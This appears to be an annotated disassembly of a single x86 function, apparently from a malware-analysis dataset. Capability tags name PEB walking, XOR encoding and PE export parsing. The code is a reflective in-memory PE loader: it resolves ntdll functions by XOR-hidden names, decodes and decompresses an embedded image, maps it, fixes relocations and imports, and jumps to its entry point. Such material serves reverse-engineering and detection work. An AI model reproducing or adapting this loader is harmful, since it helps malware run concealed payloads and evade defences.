Function at 0x10011690
Capabilities:
Access peb ldr_data
Encode data using xor
Parse pe header
Resolve function by parsing pe exports

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x8c
mov eax, dword fs:[0x30]
xorps xmm0, xmm0
movdqu xmmword [ebp - 0x50], xmm0
mov dword [ebp - 0x48], eax
movdqu xmmword [ebp - 0x70], xmm0
mov edx, dword [ebp - 0x70]
movdqu xmmword [ebp - 0x60], xmm0
push ebx
movdqu xmmword [ebp - 0x40], xmm0
push esi
movdqu xmmword [ebp - 0x30], xmm0
mov eax, dword [eax + 0xc]
push edi
mov esi, dword [eax + 0xc]
mov edi, dword [esi + 0x18]
test edi, edi
je 0x10011703
mov ecx, dword [esi + 0x30]
movzx eax, word [ecx]
cmp eax, 0x4e
je 0x100116e1
cmp eax, 0x6e
jne 0x100116f6
cmp word [ecx + 2], 0x74
jne 0x100116f6
mov ax, word [ecx + 6]
cmp ax, word [ecx + 8]
cmove edx, edi
mov dword [ebp - 0x70], edx
test edx, edx
jne 0x10011703
mov esi, dword [esi]
mov edi, dword [esi + 0x18]
test edi, edi
jne 0x100116d1
mov eax, dword [edx + 0x3c]
mov eax, dword [eax + edx + 0x78]
add eax, edx
mov dword [ebp - 0x10], eax
mov ecx, dword [eax + 0x20]
mov ebx, dword [eax + 0x24]
add ecx, edx
mov eax, dword [ebp - 0x54]
add ebx, edx
mov dword [ebp - 0x80], eax
mov eax, dword [ebp - 0x58]
mov dword [ebp - 0x14], eax
mov eax, dword [ebp - 0x5c]
mov dword [ebp - 0x20], eax
mov eax, dword [ebp - 0x60]
mov dword [ebp - 0x74], eax
mov eax, dword [ebp - 0x64]
mov dword [ebp - 0x84], eax
mov eax, dword [ebp - 0x68]
mov dword [ebp - 0x78], eax
mov eax, dword [ebp - 0x6c]
mov dword [ebp - 0x7c], eax
mov eax, dword [ecx]
mov dword [ebp - 0xc], ecx
mov ecx, dword [eax + edx + 8]
mov esi, dword [eax + edx]
xor ecx, 0x20981257
mov edi, dword [eax + edx + 4]
xor esi, 0x20981257
mov dword [ebp - 8], ecx
xor edi, 0x20981257
mov ecx, dword [eax + edx + 0xc]
xor ecx, 0x20981257
mov dword [ebp - 4], ecx
mov ecx, dword [eax + edx + 0x10]
mov eax, dword [eax + edx + 0x14]
xor ecx, 0x20981257
xor eax, 0x20981257
mov dword [ebp - 0x18], ecx
cmp dword [ebp - 0x84], 0
mov ecx, dword [ebp - 8]
mov dword [ebp - 0x88], eax
mov eax, dword [ebp - 4]
jne 0x100117f7
cmp esi, 0x4cd9650d
jne 0x100117f7
cmp edi, 0x41fb7d3b
jne 0x100117f7
cmp ecx, 0x49ce7723
jne 0x100117f7
cmp eax, 0x41ed6625
jne 0x100117f7
cmp dword [ebp - 0x18], 0x4dfd5f3b
jne 0x100117f7
cmp dword [ebp - 0x88], 0x20e16038
jne 0x100117f7
mov eax, dword [ebp - 0x10]
movzx ecx, word [ebx]
mov eax, dword [eax + 0x1c]
lea eax, [eax + ecx*4]
mov ecx, dword [ebp - 8]
mov eax, dword [eax + edx]
add eax, edx
mov dword [ebp - 0x84], eax
mov dword [ebp - 0x64], eax
mov eax, dword [ebp - 4]
cmp dword [ebp - 0x74], 0
jne 0x1001183c
cmp esi, 0x52de650d
jne 0x1001183c
cmp edi, 0x49ce7732
jne 0x1001183c
cmp ecx, 0x41ed6625
jne 0x1001183c
cmp eax, 0x4dfd5f3b
jne 0x1001183c
cmp dword [ebp - 0x18], 0x20e16038
jne 0x1001183c
mov eax, dword [ebp - 0x10]
movzx ecx, word [ebx]
mov eax, dword [eax + 0x1c]
lea eax, [eax + ecx*4]
mov eax, dword [eax + edx]
add eax, edx
mov dword [ebp - 0x74], eax
mov dword [ebp - 0x60], eax
cmp dword [ebp - 0x78], 0
jne 0x10011869
cmp esi, 0x6cea761b
jne 0x10011869
cmp edi, 0x64fc7338
jne 0x10011869
mov eax, dword [ebp - 0x10]
movzx ecx, word [ebx]
mov eax, dword [eax + 0x1c]
lea eax, [eax + ecx*4]
mov eax, dword [eax + edx]
add eax, edx
mov dword [ebp - 0x78], eax
mov dword [ebp - 0x68], eax
cmp dword [ebp - 0x7c], 0
mov eax, dword [ebp - 8]
mov ecx, dword [ebp - 4]
jne 0x100118ba
cmp esi, 0x67ea761b
jne 0x100118ba
cmp edi, 0x52c86632
jne 0x100118ba
cmp eax, 0x44fd7138
jne 0x100118ba
cmp ecx, 0x61fd6022
jne 0x100118ba
cmp dword [ebp - 0x18], 0x45ea7633
jne 0x100118ba
mov eax, dword [ebp - 0x10]
movzx ecx, word [ebx]
mov eax, dword [eax + 0x1c]
lea eax, [eax + ecx*4]
mov ecx, dword [ebp - 4]
mov eax, dword [eax + edx]
add eax, edx
mov dword [ebp - 0x7c], eax
mov dword [ebp - 0x6c], eax
mov eax, dword [ebp - 8]
cmp dword [ebp - 0x14], 0
jne 0x1001190b
cmp esi, 0x61f46605
jne 0x1001190b
cmp edi, 0x73f16139
jne 0x1001190b
cmp eax, 0x4ef16023
jne 0x1001190b
cmp ecx, 0x75f74630
jne 0x1001190b
cmp dword [ebp - 0x18], 0x4ffb7b39
jne 0x1001190b
cmp dword [ebp - 0x88], 0x54cb7733
jne 0x1001190b
mov eax, dword [ebp - 0x10]
movzx ecx, word [ebx]
mov eax, dword [eax + 0x1c]
lea eax, [eax + ecx*4]
mov eax, dword [eax + edx]
add eax, edx
mov dword [ebp - 0x14], eax
mov dword [ebp - 0x58], eax
cmp dword [ebp - 0x80], 0
mov eax, dword [ebp - 8]
mov ecx, dword [ebp - 4]
jne 0x1001195c
cmp esi, 0x66f46605
jne 0x1001195c
cmp edi, 0x75fd7725
jne 0x1001195c
cmp eax, 0x4ffb7b39
jne 0x1001195c
cmp ecx, 0x54cb7733
jne 0x1001195c
cmp dword [ebp - 0x18], 0x47f67b25
jne 0x1001195c
mov eax, dword [ebp - 0x10]
movzx ecx, word [ebx]
mov eax, dword [eax + 0x1c]
lea eax, [eax + ecx*4]
mov ecx, dword [ebp - 4]
mov eax, dword [eax + edx]
add eax, edx
mov dword [ebp - 0x80], eax
mov dword [ebp - 0x54], eax
mov eax, dword [ebp - 8]
cmp dword [ebp - 0x20], 0
jne 0x100119ab
cmp esi, 0x64f46605
jne 0x100119ab
cmp edi, 0x4df77132
jne 0x100119ab
cmp eax, 0x53fd6027
jne 0x100119ab
cmp ecx, 0x46ed5024
jne 0x100119ab
xor eax, eax
cmp dword [ebp - 0x18], 0x726566
sete al
xor eax, 0x20981257
je 0x100119ab
mov eax, dword [ebp - 0x10]
movzx ecx, word [ebx]
mov eax, dword [eax + 0x1c]
lea eax, [eax + ecx*4]
mov eax, dword [eax + edx]
add eax, edx
mov dword [ebp - 0x20], eax
mov dword [ebp - 0x5c], eax
cmp dword [ebp - 0x78], 0
je 0x100119d3
mov esi, dword [ebp - 0x84]
test esi, esi
je 0x100119d3
cmp dword [ebp - 0x74], 0
je 0x100119d3
cmp dword [ebp - 0x7c], 0
je 0x100119d3
cmp dword [ebp - 0x80], 0
je 0x100119d3
cmp dword [ebp - 0x14], 0
jne 0x100119e1
mov ecx, dword [ebp - 0xc]
add ecx, 4
add ebx, 2
jmp 0x10011746
mov ebx, dword [ebp + 8]
xor edx, edx
mov ecx, 4
jmp 0x100119f0
movzx eax, word [ebx + 2]
add word [ecx + ebx], ax
movzx eax, word [ebx]
xor word [ecx + ebx], ax
lea eax, [edx + 0x1c5a]
add word [ebx], ax
lea edx, [edx + 1]
add ecx, 2
cmp ecx, 0xc
jl 0x100119f0
mov eax, dword [ebx + 8]
mov ecx, 4
and eax, 0xfffffffe
cmp eax, 8
jbe 0x10011a57
mov edx, 0xc
jmp 0x10011a30
movzx eax, word [ebx + 2]
lea edx, [edx + 2]
add word [edx + ebx - 2], ax
movzx eax, word [ebx]
xor word [edx + ebx - 2], ax
lea eax, [ecx + 0x1c5a]
add word [ebx], ax
inc ecx
mov eax, dword [ebx + 8]
shr eax, 1
cmp ecx, eax
jb 0x10011a30
mov eax, dword [ebx + 4]
push 4
push 0x1000
mov dword [ebp - 0x1c], eax
lea eax, [ebp - 0x1c]
push eax
push 0
lea eax, [ebp - 0x50]
push eax
push 0xffffffffffffffff
call esi
lea eax, [ebp - 0x4c]
push eax
push dword [ebx + 8]
lea eax, [ebx + 0xc]
push eax
push dword [ebx + 4]
push dword [ebp - 0x50]
push 0x102
call dword [ebp - 0x5c]
mov ecx, dword [ebp - 0x50]
mov eax, 0x5a4d
mov dword [ebp - 0x44], ecx
cmp word [ecx], ax
je 0x10011aa6
pop edi
pop esi
xor eax, eax
pop ebx
mov esp, ebp
pop ebp
ret 4
mov eax, dword [ecx + 0x3c]
add eax, ecx
mov dword [ebp - 0x40], eax
cmp dword [eax], 0x4550
jne 0x10011a9b
mov eax, dword [eax + 0x50]
push 0x40
push 0x1000
mov dword [ebp - 0x1c], eax
lea eax, [ebp - 0x1c]
push eax
push 0
lea eax, [ebp - 0x3c]
push eax
push 0xffffffffffffffff
call dword [ebp - 0x64]
mov edx, dword [ebp - 0x3c]
test edx, edx
je 0x10011a9b
mov eax, dword [ebp - 0x40]
xor ecx, ecx
cmp dword [eax + 0x54], ecx
jbe 0x10011af8
mov eax, dword [ebp - 0x44]
mov al, byte [ecx + eax]
mov byte [ecx + edx], al
inc ecx
mov eax, dword [ebp - 0x40]
mov edx, dword [ebp - 0x3c]
cmp ecx, dword [eax + 0x54]
jb 0x10011ae3
mov eax, dword [ebp - 0x44]
xor ecx, ecx
mov dword [ebp - 0x14], ecx
mov eax, dword [eax + 0x3c]
add eax, edx
mov dword [ebp - 0x38], eax
mov dword [eax + 0x34], edx
xor edx, edx
mov ebx, dword [ebp - 0x38]
movzx eax, word [ebx + 0x14]
cmp dx, word [ebx + 6]
jae 0x10011b83
lea edi, [ebx + 0x28]
add edi, eax
nop
mov eax, dword [edi]
test eax, eax
jne 0x10011b4d
mov eax, dword [ebp - 0x40]
mov eax, dword [eax + 0x38]
test eax, eax
je 0x10011b74
xor edx, edx
test eax, eax
je 0x10011b74
mov ecx, dword [edi - 4]
mov eax, dword [ebp - 0x3c]
add ecx, edx
inc edx
mov byte [ecx + eax], 0
mov eax, dword [ebp - 0x40]
cmp edx, dword [eax + 0x38]
jb 0x10011b36
jmp 0x10011b6e
xor esi, esi
test eax, eax
je 0x10011b74
mov ecx, dword [edi + 4]
mov eax, dword [ebp - 0x50]
add ecx, esi
mov edx, dword [edi - 4]
add edx, esi
inc esi
mov cl, byte [ecx + eax]
mov eax, dword [ebp - 0x3c]
mov byte [edx + eax], cl
cmp esi, dword [edi]
jb 0x10011b53
mov ecx, dword [ebp - 0x14]
mov ebx, dword [ebp - 0x38]
movzx eax, word [ebx + 6]
inc ecx
add edi, 0x28
mov dword [ebp - 0x14], ecx
cmp ecx, eax
jl 0x10011b20
mov eax, dword [ebp - 0x40]
mov ecx, dword [ebp - 0x3c]
mov edi, ecx
sub edi, dword [eax + 0x34]
mov dword [ebp - 0x34], edi
je 0x10011c12
cmp dword [ebx + 0xa4], 0
jbe 0x10011c12
mov eax, dword [ebx + 0xa0]
add eax, ecx
mov dword [ebp - 0xc], eax
mov edx, dword [eax]
test edx, edx
je 0x10011c12
add edx, ecx
lea ebx, [eax + 4]
mov dword [ebp - 0x20], edx
xor esi, esi
lea edx, [eax + 8]
mov eax, dword [ebx]
sub eax, 8
test eax, 0xfffffffe
jbe 0x10011c01
lea ebx, [ebx]
movzx ecx, word [edx]
mov eax, ecx
and eax, 0xf000
cmp eax, 0x3000
jne 0x10011bef
and ecx, 0xfff
add ecx, dword [ebp - 0x20]
add dword [ecx], edi
mov edi, dword [ebp - 0x34]
mov eax, dword [ebx]
inc esi
sub eax, 8
add edx, 2
shr eax, 1
cmp esi, eax
jb 0x10011bd0
mov ecx, dword [ebp - 0x3c]
mov eax, dword [ebp - 0xc]
add eax, dword [ebx]
mov dword [ebp - 0xc], eax
mov edx, dword [eax]
test edx, edx
jne 0x10011bb1
mov ebx, dword [ebp - 0x38]
cmp dword [ebx + 0x84], 0
jbe 0x10011d1d
mov esi, dword [ebx + 0x80]
add esi, ecx
mov dword [ebp - 0xc], esi
je 0x10011d1d
mov eax, dword [esi + 0xc]
test eax, eax
je 0x10011d1a
add ecx, eax
xor eax, eax
mov dword [ebp - 0x24], ecx
cmp byte [ecx], al
je 0x10011c4d
inc eax
cmp byte [eax + ecx], 0
jne 0x10011c46
mov word [ebp - 0x28], ax
inc eax
mov word [ebp - 0x26], ax
lea eax, [ebp - 0x28]
push 1
push eax
lea eax, [ebp - 0x30]
push eax
call dword [ebp - 0x58]
lea eax, [ebp - 0x8c]
push eax
lea eax, [ebp - 0x30]
push eax
push 0
push 0
call dword [ebp - 0x68]
lea eax, [ebp - 0x30]
push eax
call dword [ebp - 0x54]
mov edx, dword [ebp - 0x8c]
test edx, edx
je 0x10011a9b
mov eax, dword [esi]
mov ecx, dword [ebp - 0x3c]
test eax, eax
je 0x10011c9d
mov esi, dword [esi + 0x10]
lea edi, [eax + ecx]
add esi, ecx
jmp 0x10011ca4
mov edi, dword [esi + 0x10]
add edi, ecx
mov esi, edi
mov eax, dword [edi]
test eax, eax
je 0x10011d0b
lea ebx, [ebx]
test eax, eax
jns 0x10011cbd
movzx eax, word [edi]
push esi
push eax
push 0
jmp 0x10011ce7
add ecx, 2
add ecx, eax
xor eax, eax
mov dword [ebp - 0x24], ecx
cmp byte [ecx], al
je 0x10011cd7
jmp 0x10011cd0
inc eax
cmp byte [eax + ecx], 0
jne 0x10011cd0
mov word [ebp - 0x28], ax
inc eax
push esi
mov word [ebp - 0x26], ax
lea eax, [ebp - 0x28]
push 0
push eax
push edx
call dword [ebp - 0x6c]
cmp dword [esi], 0
je 0x10011d08
mov eax, dword [edi + 4]
add edi, 4
add esi, 4
test eax, eax
je 0x10011d08
mov ecx, dword [ebp - 0x3c]
mov edx, dword [ebp - 0x8c]
jmp 0x10011cb0
mov ecx, dword [ebp - 0x3c]
mov esi, dword [ebp - 0xc]
add esi, 0x14
mov dword [ebp - 0xc], esi
jne 0x10011c30
mov ebx, dword [ebp - 0x38]
mov edx, dword [ebx + 0x28]
add edx, ecx
xor eax, eax
mov byte [eax + ecx], 0
inc eax
cmp eax, 4
jae 0x10011d33
mov ecx, dword [ebp - 0x3c]
jmp 0x10011d24
xor ecx, ecx
mov eax, dword [ebp - 0x38]
mov byte [ecx + eax], 0
inc ecx
cmp ecx, 4
jb 0x10011d35
mov eax, dword [ebp - 0x38]
cmp dword [eax + 0x28], 0
je 0x10011d55
push dword [ebp + 8]
push 1
push dword [ebp - 0x3c]
call edx
push 0x4000
lea eax, [ebp - 0x1c]
push eax
lea eax, [ebp - 0x50]
push eax
push 0xffffffffffffffff
call dword [ebp - 0x60]
mov eax, dword [ebp - 0x3c]
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret 4